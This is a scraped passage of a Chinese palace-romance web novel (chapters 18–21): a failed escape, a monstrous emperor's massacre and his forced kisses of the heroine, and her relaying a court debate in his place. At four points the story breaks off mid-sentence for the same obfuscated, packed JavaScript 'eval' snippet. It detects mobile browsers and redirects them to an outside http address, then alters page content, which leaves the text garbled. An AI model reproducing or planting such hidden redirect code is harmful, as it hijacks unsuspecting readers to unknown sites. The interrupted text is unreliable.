上一休一,工作内容只是当背景板,没有绩效考核,没有同事内卷,老板还提供顶级的食宿和福利。 多完美。 她承认,润德公公几句夸赞,会让她心头一跳; 傅兰月这样艳羡的目光,也确实能满足她的虚荣心。 这种感觉就像……一只羔羊被看守的豺狼舔舐毛发,它会雀跃,会朝同伴,炫耀自己刚刚被舔舐过的、亮晶晶的毛发。 但—— 无论待遇多好,都改不了一个事实—— 羔羊,终究是豺狼的盘中餐。 羊毛再被舔的光鲜亮丽,也只是为了吞入腹中的便利。 这种被绝对掌控的感觉,让她感到窒息。 比上辈子在基地里当个小透明,还要窒息。 没人会愿意当豺狼养的羔羊。 一时的虚荣也不过是豺狼舔舐了羊毛,羔羊从其他同类上找寻的优越感。 她宋迎是很想躺平,但她更想要躺平的权利,选择躺在哪里的自由。 她想要的生活,是在辽州晒着太阳,安安稳稳地过完这一生。 宋迎说道:“因为,我想回家了。” 淡淡一句话,傅兰月便明白了。 眼底瞬间漫上水雾,她若是还有家,又何尝不想回呢。 “好。”傅兰月用力点头,却又犹疑,“那我们……要怎么做?” “我们,来演一出戏。” …… …… 高耸高墙咬得月光支离破碎,光影斑驳如鬼魅。 喘息声交织,傅兰月与宋迎十指死死交扣,掌心濡湿,已经分不清是谁的冷汗了。 四野火光陡然亮起,像一张猝然收紧的网。 傅兰月被猛地拽停,惯性让她往前一冲,差点跌倒。 没等站稳,便听宋迎道:“我们两个目标太大,这样跑,一个都走不了。” “那……”傅兰月慌了神。 “你先走,往西边抄手游廊去,那里灯影最暗。”宋迎的语速极快,“我先去引开他们,再找机会与你汇合!” 她看傅兰月还在犹豫,声线骤然转厉:“听我的!快走!” 话音未落,傅兰月已被宋迎推进墙角阴影。 下一瞬,长廊尽头,一队手持火把的侍卫冲来。 宋迎没有躲,反而踉跄着迎了上去。 她脸色惨白,一把抓住为首侍卫的胳膊,带着哭腔: “快!陛下晕过去了!快随我来!快去救驾啊!” …… …… 黎婧容推门便对上两具尸首。 她眉心一蹙,目光落在了怀玉泽身上:“怀哥哥,这是?” 怀玉泽已褪去伪装,恢复了宗门大弟子的模样,见她进来,只淡淡一笑。 “你我金蝉脱壳,傅姑娘和宋姑娘,总归也需要一个结局吧。” 黎婧容心头一跳,自己从来没有想过用这样方式—— 怀玉泽却没有觉出异样,自顾自从怀中取出小瓷瓶。 “火油已布满殿外,只等二位姑娘一到便可点燃。火光会引来禁军,我们趁乱逃走,万无一失。” 他俯下身,将一些女儿家的珠钗首饰放在尸身旁,又将瓷瓶里的白色粉末均匀地洒在尸体上。 “宫中没有多余的宫女,只能用内侍的尸身替代。好在化骨粉能毁掉骨相,再配上这些信物,足够以假乱真。” 黎婧容看着那转瞬模糊的血肉,脸色发白,下意识避开了视线。 怀玉泽只当她是小女儿家心性,害怕了。 安顿好一切,他将黎婧容柔柔拢入怀中。 “别怕,都处理好了。”怀玉泽声音低沉缱绻,“你不想做的事,怀哥哥替你做。” 可黎婧容又想起兖州朱氏。 兖州朱氏因她而死,如今又平添两条无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847819|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜性命…… 她不愿再想,不愿再看! 黎婧容收紧双臂,搂紧了怀玉泽的脖子。 容儿如此主动,还是在…… 怀玉泽脸颊一红,情不自禁地用侧脸蹭了蹭她发鬓。 “二位大侠——!” 门“砰”一声被撞开,傅兰月带着哭腔闯了进来,踩碎了屋内旖旎。 两人如梦初醒,瞬间分开。 幸而傅兰月满心慌乱,并未察觉方才氛围。 她冲到两人面前,语无伦次道: “宋姐姐……宋姐姐她为了引开侍卫,自己迎上去了!我怕她……怕她凶多吉少!” “什么?!”黎婧容心头一沉。 她没有迟疑,抽出一柄软剑。 同时扯下腰牌,扔给了傅兰月。 “你先按原计划走!”黎婧容正色说道,“火起后立刻出宫。若我和怀大哥迟迟未归,你就拿着这块牌子去京州的观海书屋,把牌子交给掌柜,他会护你周全。” 傅兰月被这突如其来的托付砸懵了,愣愣地问:“那……那你们呢?” “我答应过宋家,会完好无损地将宋迎带回去,”黎婧容字字铿锵,“我也答应过宋迎,要带她回家。” “我不能食言。” 怀玉泽还未出声阻拦,黎婧容就已经翻窗而出,融入夜色。 为了另一个女人……就这么走了?都没有看他一眼? 他脸色一沉,最终却是叹了口气,又将情绪全都收了回去。 怀玉泽转头看向傅兰月。 “你一个人,怕是走不到观海书屋,”他从怀里掏出令牌,扔给了傅兰月,“出了宫,自会有人接应你。届时,你把这个给他们看,他们会护你回剑云宗的。” 傅兰月又接住一块令牌,没等反应过来。 她眼前一花,怀玉泽身影已掠出窗外。 “……这辈子,真是欠了你的。” 傅兰月呆呆站在原地,一手是黎婧容的腰牌,一手是怀玉泽的令牌。 她望向空荡荡的窗户,窗外明月高悬。 傅兰月攥着牌子,挥了挥手: “两位大侠……一定要平安回来啊!” …… …… 宋迎领着那队侍卫进了万春殿。 她对着被诓骗而来的侍卫,吩咐道:“尔等在此严加护卫,任何人不得擅闯!我即刻去请太医!” 侍卫们个个应诺,握紧了腰间佩刀。 宋迎心中稍定,提裙转身,朝着殿门快步跑去。 突然,身后传来一声闷响。 像、像是骨头碎裂的声音…… 宋迎脚步一顿。 接着,是凄厉的惨叫声—— “啊!!!!” 一声声惨叫在殿内,接二连三地炸开! 她僵硬地,转过头去。 宋迎看见—— 那个本该躺倒在地、口吐黑血的男人,不知何时站了起来。 乌发散乱,遮住了他大半张脸。 可发丝缝隙间,那双眼睛正死死盯着她。 那是一双……闪烁着妖异金光的眼眸。 “扑通” 一个侍卫头颅滚落脚边,双目圆睁,死不瞑目。 宋迎喉咙里吓出一声抽气。 什么情况? 狗皇帝不是中毒了吗? 这—— 这和原书剧情完全不一样啊! 19. 第 19 章 万春殿,已是修罗场。 而那个男人,就是从地狱爬出来的恶鬼。 浓稠血腥糊住了宋迎口鼻。 永昭帝步履踉跄,踩着横陈尸骨,一步步,走向她。 这不是豺狼。 豺狼捕食,为的是果腹,是遵循自然法则。 而眼前这个人,是一头失控的恶龙。 ——毁天灭地,眼中业火焚尽世间万物。 宋迎两辈子加起来,也没感受过如此恐怖的精神威压! 近了。 更近了。 她动弹不得,只能眼睁睁看着高大/阴影,一点点将她笼罩,将她吞噬。 永昭帝在她面前停下。 他缓缓低下头,沾着血污的发丝垂落,几缕擦过宋迎脸颊。 宋迎浑身一栗,如遭蛇信舔舐。 下一瞬,他的唇覆了上来。 宋迎瞳孔骤缩,视野里只剩下永昭帝疯狂的脸。 这根本不是一个吻。 更像是一头饿了很久、濒临死亡野兽的啃噬。 他粗暴地撬开齿关,蛮横闯入,像沙漠旅人终于寻到绿洲,开始疯狂的汲取、索求。 是侵占,是掠夺,是撕咬。 牙齿磕破唇瓣,铁锈味在彼此口腔漫开。 宋迎痛得直皱眉。 她剧烈地挣扎起来,双手抵在胸膛上,却如蜉蝣撼树,纹丝不动。 他对她的抗拒毫无所觉,只凭着原始本能,贪婪地吸吮着她的舌尖,掠夺着她的空气。 宋迎都要窒息了—— 突然,有什么东西,从唇舌交缠处炸开了。 一股暴戾灼热的洪流,沿着他的舌,凶猛地冲进她的身体! 与此同时,她体内深处,一股她从未察觉过的的力量,犹如潺潺溪流,不受控制地,反向渡入对方的身体! 是……精神疏导? 宋迎僵住了。 她猛然意识到,这是什么。 这是比起嗅闻气息,更为具象化的安抚! 掠夺渐渐平息,化为了缱绻舔舐。 那双竖金眼瞳,肉眼可见地平息、褪去,露出漆黑瞳仁。 永昭帝眨了眨眼睛。 继而,在她唇间泄出一声餍足的呜咽。 “砰——!” 万春殿大门被人从外一脚踹开,黎婧容和怀玉泽冲入殿内,却被眼前景象惊得脚步一滞。 尸山血海,人间炼狱。 黎婧容看见,那血泊尸骸的中央,一个男人将宋迎禁锢在怀。 他侧脸俊美无俦,却带着妖异的邪气。 而怀里的宋迎,衣衫凌乱,双目紧闭,不知是死是活。 “狗皇帝!”黎婧容大喝一声,“放开她!” 软剑出鞘,剑尖直指男人后心要害! “容儿,等等!” 怀玉泽警铃大作,他比黎婧容冷静,看得也更清楚些—— 永昭帝周身气息沉凝如渊,即便身处血海,姿态依旧从容,仿佛生杀予夺尽在掌握。 这人……绝非寻常高手! 可黎婧容的剑已如离弦之箭,再无收回的可能。 怀玉泽只能足尖一点,长剑出鞘,从旁策应,试图护住黎婧容侧翼。 剑锋已至,永昭帝却头也未回。 右手扣住纤腰他只是将怀中人更紧地揽向自己,。 同时,左手向后随意一拂。 “铛——!” 磅礴劲风凭空而生,径直撞上黎婧容软剑剑脊。 黎婧容只觉虎口剧震,剑柄险些脱手! 整个人更是不受控制地倒飞出去,连退数步,这才勉强稳住身形。 这男人,竟然比先前功力更甚! 他究竟是怎么做到的?! “狗皇帝!”黎婧容皱着眉,压下气血,厉声喝问,“你到底练了什么邪魔外功?!先前那些秀女,是不是也像宋迎这样被你吸食,才让你功力大涨的!” 她与怀玉泽并肩而立,双剑并指。 永昭帝终于侧过头。 那双漆黑眼眸扫过他们,目光冰冷,仿佛神祇在俯瞰蝼蚁。 他兴致索然,没有回答。 只是将目光重新落回怀中。 此刻,宋迎才从巨大的冲击中回过神来。 她看到黎婧容和怀玉泽! 眼中下意识爆发出求生的光亮,嘴唇微张,就想呼救。 可下一秒,箍在她腰间的手臂骤然收紧,力道重得重新将她思绪扯回。 “别出声,”永昭帝在宋迎耳畔低语,“乖乖待着,不然,他们会死得很难看。” 这声威胁,轻飘飘的。 宋迎将半截话咽了回去,只能眼睁睁看着黎婧容与怀玉泽,再次联手攻上。 剑光交错,剑气纵横,招招皆是致命杀招。 可永昭帝,只用空着的左手,便将漫天杀意尽数化解。 他揽着宋迎腰肢,身形在剑光中穿梭,步伐从容,宛如闲庭信步。 掌风时而刚猛如山岳崩颓,时而阴柔如蛛丝缠缚,每次出手,都击在两人剑招衔接最薄弱之处,逼得他们手忙脚乱、狼狈不堪。 连衣角都碰不到分毫。 激斗中,那股躁欲再次从心底腾起。 永昭帝眉头微蹙,眼底深处,金芒一闪而过。 他不再与他们纠缠,竟在怀玉泽一剑刺来的间隙,蓦地低下头。 在万千剑影中,再一次攫住了宋迎的唇。 这一次,不是啃噬,而是一个短暂却不容抗拒的吻。 “你——!”黎婧容大怒,“你这个无耻之徒!” 这是赤裸裸的羞辱! 黎婧容剑速陡然变快,章法却彻底乱了。 但怀玉泽没有, 他瞬间意识到了什么。 剑锋一转,原本攻向永昭帝的剑,竟然在瞬间调转方向,直指他怀里的宋迎! “找死!” 永昭帝眼中杀机暴涨! 他不再留手,揽着宋迎的手臂猛然发力,带着她旋身躲过剑锋,另一只手化掌为刃,隔空劈出! 一道气浪狠狠撞在怀玉泽的胸口! 怀玉泽人在半空,便已呕出一口鲜血,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857461|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后重重摔落在地。 黎婧容大声惊呼:“怀哥哥!” 她再也顾不得什么攻势,想也不想便飞身扑了过去。 可她忘记了,她的对手是何等人物。 永昭帝自然不会放过这愚蠢的破绽。 他身影随形而至,朝他们的方向飞出一掌! 那一掌挟着雷霆之怒,眼看就要印在黎婧容后背。 电光火石之间,怀玉泽强行扭转身形,飞身一扑,将黎婧容护在身下! “砰——!” 掌力结结实实砸在怀玉泽背上。 “呃……” 怀玉泽闷哼一声,借力将黎婧容护得更紧,两人一同滚出数丈。 他伏在黎婧容身上,又呕出一大口血,脸色瞬间惨白如纸。 一招。 仅仅一招。 两位江湖上声名鹊起的高手,便双双重伤,彻底失去了再战之力。 永昭帝淡淡地瞥了他们一眼。 怀玉泽强撑着身体,将黎婧容护在身后,胸前衣襟已被鲜血染透,却依旧挺直了脊梁,宁死也不肯低头。 而他对面的男人,眼底金芒再次燃起,比方才更加炽盛。 永昭帝缓缓抬起手,掌心凝聚着肉眼可见的真气。 杀意。 宋迎再度看见了,永昭帝眼底沸腾的杀戮欲望! 他不是想要对敌,他想要碾碎他们! 逃? 不行,逃不掉的。 她逃不掉,黎婧容和怀玉泽更逃不掉。 不行,至少……至少男女主得活着啊! 杀了男女主,这本书不就全完了吗! 刹那间—— 宋迎猛地攀上永昭帝的肩膀,用尽力气将自己送了上去! 永昭帝的身躯骤然一僵,掌心汇聚的杀气,竟真的为这香软冲撞,迟滞了一息。 就是现在! 宋迎仰起头,吻了上去。 这个吻,和之前不同。 她闭上眼,将自己所有的希冀,尽数倾注在这个吻里。 像山洪决堤,如江河入海。 永昭帝身躯一震,蓦然僵住。 唇上传来冰凉的触感,将他沸腾燥欲强行压下。 眼中骇人熔金褪去,沉沉的墨色重新浸染了他的瞳仁。 理智,在瞬间回笼。 怀玉泽和黎婧容都看呆了。 顷刻间就能屠神戮魔的怪物,竟然收敛了所有的杀气! ……就因为,宋迎一个吻? 生机稍纵即逝! 他们没时间观摩了,黎婧容不再犹豫,一把架起重伤的怀玉泽,踉跄着向殿外逃去。 永昭帝却置若罔闻。 他所有的感官,所有的心神,都悉数被怀中少女夺去。 宋迎吻得笨拙,吻得发抖。 永昭帝大掌扣住她后颈,微一用力,便将她扯离。 继而抬手,指腹碾过嫣红微肿唇瓣。 “为了让他们逃走,竟做到这个地步……” 他眯起双眼,低笑道:“你果然是燕贼的人。” 20. 第 20 章 “不是!” 宋迎骇然,几乎是破喉而出否认道,“我没有!” 要是承认就死定了! “不是?” 永昭帝嘲弄反问。 他蓦然出手,掐住她双腮。 嫣红唇瓣在他指下受力变形,显得愈发饱满水润。 稍稍用力,便能窥见内里湿软的口腔,以及舌下溢出的晶亮津液。 被迫张开的唇无法吞咽,津液越积越多。 永昭帝盯着那处水光,喉结上下滚了滚。 呼吸变得杂乱无章,变得粗重不稳。 “那你为何……”他逼近她,“要对朕……投怀送抱?” 话音未落,他眼中闪过一丝自我的厌憎。 仿佛被自己失控的欲望吓到,猛地将宋迎甩了出去—— 宋迎跌跪在地,重重咽了好几口唾沫。 “说。” 宋迎未还未喘匀气息,双臂便被再次攥住,被强行拎了起来。 她被迫仰头,撞进那双漆黑眼眸。 煞白眼底布满血丝,衬得那张面孔戾气横生。 可宋迎却感受了。 箍着她手臂的力道,却在一点点松懈。 指节收紧,手掌却是抑制不住地微微发颤。 她满脸惊惧地望着永昭帝,组织着言语,“因、因为我……” 话音未落,便见永昭帝眼神骤然涣散了一瞬。 攥着她的力道蓦地一松。 紧接着,高大身躯直挺挺朝她压来! 宋迎下意识想躲,却已经来不及了。 “唔……!” 沉沉重量撞得她胸口一闷,差点背过气去。 永昭帝的头歪倒在她颈窝,呼吸一下下扑在她耳廓,激起一片痒意。 他……晕过去了? 宋迎转动眼珠,看向一侧。 永昭帝双目紧闭,敛去了暴戾疯狂,此刻,这张脸竟显出……些许脆弱。 别不是装的吧? 宋迎试探着挪了挪肩膀,想把他推开。 然而,她才刚动,这人竟在无知无觉中,又将脸往她颈窝深处埋了埋。 甚至,喉间发出了声模糊喟叹。 宋迎:………… 日哦。 宋迎默默收回了手。 她仰面躺平,放弃了挣扎。 身旁尸山血海,身上……躺着个男人。 宋迎彻底无奈了,但至少永昭帝暂时失去了攻击性。 她那快烧了的CPU也总算有机会重启,开始思考点正事。 事实证明,面对生死危机,她宋迎显然不是那种肾上腺素飙升、反杀全场的天选之女。 她属于,“CPU过载,直接全身心罢工”的那一类。 现在冷静下来,复个盘。 ……宋迎只想穿越回去给自己两巴掌。 第一,必须和男女主划清界限! 经此一事,更是佐证了“任何与主角团的牵扯,都是在自寻死路”——这一经验之谈。 就因为一封家书勾起的归心似箭,她差点把命都搭进去了。 果然,贪心是原罪。 第二,逃跑计划必须无限期搁置。 她目前唯一的生路,就是重新苟起来,好好当个宠物,再度获取狗皇帝的信任。 审时度势才是明智之举。 总结—— 远离主线,保平安。 刻烟吸肺啊! ……然后,宋迎在地板上又躺了会儿, 直到永昭帝的重量,压得她实在受不了了。 这才咬着牙,一点点将他从自己身上挪开。 她跌撞着爬起来,跑到殿外,正对上一排侍卫跟木桩子似的杵在那,顿时气不打一处来。 她凤眸一横:“里面都打成那样,你们就干站着?” 为首的侍卫长面露难色,躬身道:“宋姑娘,陛下有令,无他传召,任何人不得擅入万春殿,违令者……死。” 所以,无论万春殿内发生了什么,他们也只敢在外面等着。 宋迎:………… 行吧,都是臭打工的,谁也别为难谁了。 宋迎思忖片刻,便换上了副凝重神色, “如今情况有变!燕党刺客已被陛下尽数诛杀,但陛下也力竭重伤,昏迷不醒!” “我命令你们,立刻分出一队人去请太医!越快越好!”她顿了顿,目光扫过所有侍卫,“其余人,随我进殿,护卫圣驾,清点现场!” “出了任何事,我宋迎,一人承担!” 宋迎这一套组合拳打下来,逻辑清晰,气势逼人。 侍卫们哪敢还有半分疑虑,“是!” 突然,宋迎又想起一事,“润德公公呢?” 侍卫长一愣,答道:“回姑娘的话,润德公公安好,只是受了惊吓,现已歇息了。” 这一问,彻底打消了侍卫长心中最后一丝疑虑。 他抱拳,心悦诚服地低头:“一切,全凭宋姑娘差遣。” * 不知过了多久,永昭帝的意识才被剧痛唤醒。 是从筋骨深处传来的、密密麻麻的钝痛,每一息都牵扯出撕裂五脏六腑的疼痛。 然后,他闻到了一股味道。 浓郁药香里,夹杂着一丝干净柔软的气息。 掀开眼皮,视线挣扎聚焦。 永昭帝看见了,跪坐在床榻前的人影。 是宋迎。 她跪得端正,双手交叠放在膝上。 他想起来了。 万春殿的屠戮、燕贼的突袭、猩红的血、以及最后的……那个吻。 那湿润柔软的触感…… 永昭帝呼吸猛地一窒,胸口翻涌起莫名的燥意。 他蹙紧眉头,撑着身子想坐起来,却发现,自己竟虚弱至此……连抬起手臂都无比费力。 她没有逃, 也没有……杀他? “为什么,”他听见自己沙哑地问,“不杀了朕?” 宋迎身子一顿,随即抬起头。 那张小脸仍没什么血色,眼神怯怯的,像只受惊的鹿。 “陛下,您醒了。” 她努力扯出一个乖巧讨好的笑,膝行了两步,然后重重地磕了几个头。 “陛下,”她额头抵着地面,“奴婢不是燕党,奴婢什么都不知道。” “奴婢……只是想回家而已。” 那声音又轻又闷,像是含在嘴里,仿佛随时都会散掉。 她知道,事到如今,全盘否认是死,全盘脱出还是死。 “陛下……” 她抬起头,眼眶微红,“奴婢贴身伺候着,您龙体偶有不适,奴婢怎会毫无察觉?想必……润德公公,对您的状况也并非一无所知吧?” 她小心翼翼地,抛出一个试探。 永昭帝攥着被褥的手指,骤然收紧。 宋迎知道自己赌对了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865866|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她垂下眼,继续说道: “奴婢自知不是什么倾国倾城的美人,能让陛下破例留在身边。您又特意封奴婢为‘侍药宫女’……这其中的深意,奴婢就算再愚钝,却也……猜到了一二。” 她话说得极为巧妙,把其中关窍落到了永昭帝自己颁布的诏令上。 “奴婢承认有罪!” 宋迎话锋一转,再次叩首,“奴婢受奸人蛊惑,这是事实!但奴婢对天发誓,奴婢所求,只是回家!从未想过要与燕贼为伍,更不敢有谋害陛下之心!” “昨夜……奴婢见您痛苦难当,情急之下……才做了那等冒昧之事。” 说到那个吻,宋迎的声音细若蚊蚋,羞赧又无措。 “奴婢只想着,若能让您……好过一点,奴、奴婢……” 永昭帝被她的话勾起回忆,胸口气血翻涌,猛地牵动了伤势。 闷哼一声,脸色又白了几分。 “陛下!” 宋迎惊呼一声,随即起身伸手,帮他拍抚后背顺气。 永昭帝的呼吸渐渐平复,他看着近在咫尺的这张脸,一时竟分不清是真是假。 触及永昭帝探究目光,宋迎又慌忙退了回去,重新跪好。 “陛下,”她垂着头,开始汇报,“润德公公昨夜受了惊吓,奴婢已自作主张,请太医过去诊治。太医回话,说公公年事已高,需静养十天半月,怕是……不能在您跟前当值了。” 她顿了顿,觑了眼永昭帝的神色,复又道: “还有……昨夜殿内之事。奴婢斗胆,已对外宣称,是燕党逆贼行刺,陛下神武,当场诛杀逆贼。” “只是……宫中侍卫亦有数十人殉职……” 她将一切都粉饰得天衣无缝。 “奴婢知道,自作主张乃是大罪。”宋迎重新俯下身,“但当时情况紧急,奴婢别无他法。奴婢有罪,请陛下责罚!” 责罚? 永昭帝看着她,忽然笑了一下。 她做的每件事,都是在为他遮掩,为他善后。 此女巧舌如簧,说的话,怕是九分都是假的。 可她没有趁机杀了他,没有弃他而去。 这一点,却是真的。 他分辨不出她的心思,索性也不再去分辨。 真或假,又有什么要紧? “过来。” 永昭帝命令道。 宋迎咬了咬唇,不知道永昭帝是何用意。 她磨蹭着,还是硬着头皮过去了。 永昭帝忽然倾身向前。 他的鼻尖,离她的唇瓣,不过毫厘。 宋迎心跳漏了一拍,身体瞬间绷紧,下意识往后缩了缩。 “跑什么?”永昭帝一把扣住宋迎后颈,“你方才不是还说,要帮朕排解的吗?” 宋迎愣神,下一瞬,唇上便传来一阵刺痛。 他不是在吻她, 而是在咬她。 “唔!” 宋迎吃痛张嘴。 舌尖抵入纠缠,一下下夺走她口中津液。 此女……当真巧舌如簧。 宋迎被他按住后颈,退无可退,只能承受。 直到她口中唾沫被尽数吞尽,永昭帝才松开了她。 宋迎大口大口喘息着,双颊绯红,眼神迷离。 永昭帝看着她这副模样,心中烦躁竟平复了许多。 指腹抚过她被咬破的唇角,吩咐道:“明日,去替朕办件事。” 21. 第 21 章 翌日,天光微熹。 宋迎一夜未眠,天不亮便对镜梳妆。 粉绿宫装褪下,换上一袭鸦青长袍。 青丝长发挽成一个髻,只用了根白玉簪子贯着,不留半分娇媚。 镜中人,眉眼依旧,气度却已截然不同。 宋迎默默叹了口气,准备上工。 金銮殿内静穆无声,与平日别无二致。 文武百官分列两侧,垂首静立。 两扇殿门被缓缓推开—— 晨光涌入,照亮了进来之人的身影。 不是永昭帝。 而是平日跟在帝王身边的……宫女。 满朝文武,皆是一愣。 宋迎顶着数道目光,径直走上白玉御阶。 她在九龙宝座前站定。 广袖垂地,再抬首,宋迎说道: “陛下龙体抱恙,暂不上朝。特命奴婢,代为听政,转述诸位大人奏议。” 话音刚落,整个朝堂瞬间炸开了锅。 “荒唐!” 高伯深移步出列,厉声质问:“祖宗规矩,后宫不得干政!你一介宫婢,是何身份,敢立于天子驾前,妖言惑众!” 高伯深乃三朝元老,门生故旧遍布朝野。 他一发难,立刻引来万声附和。 “首辅大人所言极是!此举有违祖制,简直是滑天下之大稽!” “请陛下收回成命,严惩妖婢!” “女子登朝,牝鸡司晨,国之将亡啊!” 宋迎静静站着,静静听着。 待声讨稍歇,她双手交握,躬身行礼道:“高大人息怒。” “奴婢供职于万春殿,并非后宫之人。” 宋迎不卑不亢,“再者,奴婢今日在此,是为陛下之耳,非陛下之口。不敢干政,更不敢议政。” 她当然明白,与这帮老狐狸辩驳,讨不到好。 公事公办,不偏不倚,才是中庸之道。 到时候甩锅也好甩啊! 说完,宋迎不再理会众人,转身走向御前长案。 她拂过奏本纸张,拿起墨锭,在砚台中不疾不徐地研磨。 “诸位大人的奏议,奴婢会一字不落地录存,呈于御前。” 她提笔蘸墨,“至于政务如何决断,皆由陛下圣心独裁,奴婢……不敢有半分逾越。” ……让你给我穿小鞋,工作留痕留死你丫的! “哼,那便没什么好说的了。” 高伯深冷笑出声,“老夫今日偶感风寒,头昏体乏,烦请姑娘替本官,向陛下告个假!” 说罢,他猛地一甩朝服,作势便要离去。 首辅带头,底下官员立刻心领神会。 “哎呀,下官也觉胸闷气短,怕是染了风寒。” “下官也是,腹痛难忍。” “下官……” …… …… 转眼间,竟有小半个朝堂的人都要告假。 这不就是闹集体罢工吗? 宋迎皱眉,她可不想惹什么麻烦,等会还要去狗皇帝那交差呢。 “高大人!请留步!” 手中毫笔砸在砚上,甩出墨点。 宋迎两手交握,高举过头:“南下淮南大水,堤坝两处决口,数十万灾民流离失所!此事刻不容缓,难道高大人也要称病,置这满城生民于不顾吗?” 她目光灼灼,直视首辅: “朝堂之上,诸公拖延一日;淮南水患,便肆虐一日!” 高伯深那只已经抬起的脚,僵在了半空,悬了几息,才落下。 他眼底精光闪过,甩袖回身,语气更加咄咄逼人: “淮南水患,非同小可,此等军国大事,一字之差,便可动摇国本!岂是你能听懂,又岂是你能转述的!” 他每问一句,便向前逼近一步。 “你可知赈灾钱粮与抚民之策在章程上,有何异同?你可知调拨国库银两,需经几部会审,过几道关防,盖几方印信?” 妇人而已,竟敢在他面前大呼小叫! 这些问题,别说宫女,便是新科状元,骤然被问,也未必能答得周全。 他就是要逼她。 若是答,便是坐实了“议政”之罪。 他可当场发难。 若是不答,便是默认无能。 他亦可借此联合百官,将她轰出金銮殿! 宋迎默默垂下眼:…………日哦,这是什么鬼差事。 她又在心里开始凌迟狗皇帝了。 “高大人,” 宋迎复又抬眸,浮现一丝困惑,“您说的这些,奴婢确实不懂,也不需要懂。” 她施施然走回案前,翻开奏本,“但奴婢需要知道,受灾州府详名、预估灾民数目、地方官吏请求调拨银两……这些,还请大人详明,奴婢会一字不差,尽数录下。” 她完全不接招,避开了所有诘问,重新掌握了主动权。 高伯深准备了好一肚子话,瞬间被堵在喉咙里。 这一下,反倒显得高伯深在故意阻扰救灾正事。 攻守之势,瞬间逆转。 仅仅一瞬的失态,他便压下了怒火,转而冷喝一声: “张侍郎!” 户部侍郎立刻会意,朗声道: “启禀首辅大人,淮南道庐州、寿州、蓟州三府,大水围城,三府灾民已逾十万!地方府库皆已告急!臣等连夜核算,急需朝廷即刻调拨首批赈灾银三十万两,米粮三十万石!” 他话音刚落,与高伯深同气连枝的兵部尚书李牧,立刻跟上: “臣附议!大灾之后必有大疫,更有流民之乱!流民若不能妥善安置,极易为前朝余孽所煽动,届时便不是天灾,而是人祸!臣请旨,当即派遣京营精锐三千,南下弹压,以防民变!” “不可!”另一官员反驳,“三十万两?张侍郎好大的手笔!国库才刚刚充盈几分,这口子一开,半年的税收就没了!莫不是有人想趁着国难,中饱私囊?” 张侍郎:“你……你血口喷人!” 兵部刚想帮腔,又一文臣出列:“派兵弹压?更是荒谬!灾民乃我朝子民,并非叛军!此举只会激化民怨,助长叛军气焰!李将军勇则勇矣,却非安民之才!” “那依大人之见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873739|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,该派谁去?” “自当派遣文臣,以安抚为主,工部右侍郎刘靖便很合适!” “臣也举荐工部刘大人!刘大人曾随先帝三下江南,于治水疏浚一道,经验丰富,堪当此任!” “胡扯!刘大人年事已高,如何经得起舟车劳顿?依臣之见,当派遣李将军前往!” 一时间,朝堂之上,争论不休,吵成一片。 他们吵着、骂着,渐渐地,都忘记了一个根本问题—— 上首的,是个宫女! 不知是谁先停了下来,争吵声渐渐弱了下去。 所有人的目光,不约而同地投向上首,那个奋笔疾书的宫女。 他们吵了半天,可……要如何定夺? 谁来定夺? 霎时安静,有些尴尬。 宋迎终于停下笔,轻咳了两声。 旋即抬起双手,微微下压。 “诸位大人的谏言,奴婢已尽数录下。” 她简单概括,“争论焦点无非有二:其一,赈灾银两数目。其二,派遣大使人选。” “奴婢会将诸位的不同意见,连同户部张侍郎的奏折,一并呈于御前,交由陛下圣裁。” 宋迎环视全场: “诸位大人若无其他要事——” 她微微一顿,拔高音量: “今日,退朝。” 一个宫女……宣布退朝? 宋迎已经给了他们反应的时间。 她静立三秒,见无人出列,便微微颔首,算是行了礼。 旋即,她捧起案上记录,旁若无人地走出了金銮殿。 满朝文武,面面相觑,神色各异。 宋迎一出金銮殿,脚下便虚了,连忙扶住身旁廊柱才站稳。 掌心湿滑,全是冷汗。 ……狗皇帝让她干的事,居然是让她代为听政?! 